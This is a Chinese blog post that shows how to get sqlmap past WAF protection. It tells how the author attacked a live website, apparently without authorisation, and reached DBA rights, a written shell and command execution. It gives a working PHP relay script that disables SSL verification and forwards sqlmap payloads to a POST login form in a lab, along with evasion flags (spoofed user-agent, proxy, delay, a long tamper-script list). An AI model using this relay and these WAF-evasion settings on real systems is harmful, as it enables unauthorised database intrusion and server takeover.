【Web安全】实战sqlmap绕过WAF
前言
隨著最近幾年安全行業的興起,市場關注度的不斷提升,安全防護的軟件也在不斷提升,不在是那個隨便找一個站就能馬上發現漏洞了,沒有以前那么多所謂的“靶場”了,在這次的實戰中遇到的SQL注入與其他的有點不一樣,需要考慮的東西很多,寫得不好的地方師傅們勿噴。
【查看資料】
實戰演示
通過前期的信息收集發現存在注入的頁面如下:
直接使用sqlmap跑發現出現如下錯誤:
一看無法建立SSL連接,好不容易發現一個注入點,難道就這樣放棄了嗎?先百度一波,看看SSL證書原理,就用一張圖來理解更直接明了。
那么遇到這樣的情況要怎么繞呢?在sqlmap中沒有繞過SSL證書的參數,思考了很長時間,終于想起來原來貌似有一個中轉注入。這里要解決的第一個問題是有哪些腳本語言能夠在請求網址時忽略SSL證書,第二個問題是我還需要使用sqlmap中的payload,這兩個都要滿足,通過查詢了解到PHP可以使用參數來忽略SSL證書,由于并不是搞開發的,所以這里還是思考了很長時間,先來理解一下中轉注入的原理吧。
中轉注入的原理
首先我們我們來分析一下sqlmap中轉注入的原理,如下圖:
了讓大家更加容易解,先使用簡單的腳本演示一遍,演示代碼如下:
網上隨便找需一個后面有參數的網站,添加到$urls變量中,將上述代碼放在本地服務器中,然后訪問,可以看到成功請求到我們添加的網站
使用sqlmap跑一下,設置一下代理使用burp來抓包
成功看到各種payload
burp抓包的結果
此時中轉腳本已經寫好了,用sqlmap跑,沒想到呀,既然流量有限制,就算請求延遲調得很慢,還是直接將我的ip給封了,此時又是一個漫長的過程,又要繼續思考了,在sqlmap中有代理設置參數,哈哈哈這都知道,但是試了試一試不可以,一直思考呀,首先我們借助了中轉腳本,先請求的是我們的本地服務器,你說外網的代理服務器直接訪問我本地服務器這是一個不現實的問題,最主要是我沒有公網服務器,不然就好辦了,所以現在需要思考兩個問題,首先我要用到中轉腳本過證書問題,還要能夠使用代理,在PHP代碼上使用代理池設置。此時sqlmap先請求我們中轉腳本(并沒有用代理地址),中轉腳本借助設置的代理地址遲訪問目標網頁。
現在代碼修改成了如下:
在使用sqlmap跑的時候最好先本地測試一下,經過了20多分鐘的掃描終于算是出東西了
直接看一下能否寫shell,搞個高危,運氣就是這么好
成功拿到了dba權限
成功執行命令,不過是真的慢,可能是有防護軟件原因吧。
在這里問題又來了,要是post型注入又該怎么辦呢?上面的腳本似乎不在使用思考了很長時間,但是也沒有在實際中遇到,所以這里就想本地嘗試一次。
post型中轉注入
在注入天書中有post型注入,隨便選了一個11關卡,抓取less-11關的包,注入點在登錄框這里。
注入點為
構造中轉腳本如下:
<?php $url = "http://192.168.1.104/sqli/Less-11/index.php"; $sql = $_GET[s];//獲取中轉腳本傳過來的payload $s = urlencode($sql); $params = "uname=admin$s&passwd=aa"; $ch = curl_init();// 創建一個新cURL資源curl_setopt($ch, CURLOPT_URL, $url);//這是你想用PHP取回的URL地址,可以在用curl_init()函數初始化時設置這個選項 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https請求 不驗證證書 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https請求 不驗證hosts curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函數執行如果成功只將結果返回,不自動輸出任何內容。如果失敗返回FALSE curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一個頭包含在輸出中,設置這個選項為一個非零值 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP請求中自定義一個”user-agent”頭的字符串 curl_setopt($ch, CURLOPT_TIMEOUT, 15);//為了應對目標服務器的過載,下線,或者崩潰等可能狀況。 curl_setopt($ch, CURLOPT_POST, 1); // post 提交方式 curl_setopt($ch, CURLOPT_POSTFIELDS, $params); // 抓取URL并把它傳遞給瀏覽器 $output = curl_exec($ch); // 關閉cURL資源,并且釋放系統資源 curl_close($ch); $a = strlen($output); //echo $a; if($a==2846){echo "1"; }else{echo "2"; }使用sqlmap進行注入
首先注入我們的中轉腳本
中轉腳本通過獲取的payload請求目標網站
成功跑出數據庫
sqlmap繞過WAF的思路總結
1、設置請求頭
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"2、設置代理
--proxy=http://127.0.0.1:80803、設置延遲
--delay=14、利用–tamper參數中的編碼腳本
常見編碼搭配方式
普通tamper搭配方式:
數據庫為MSSQL的搭配方式:
數據庫為MySql的搭配方式:
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
5、自己編寫中轉腳本
關注我,持續更新;
查看【網絡安全學習資料·攻略】
總結
以上是生活随笔為你收集整理的【Web安全】实战sqlmap绕过WAF的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Web安全】一款功能强大的Web身份认
- 下一篇: 【渗透测试】一次授权的渗透测试——建议收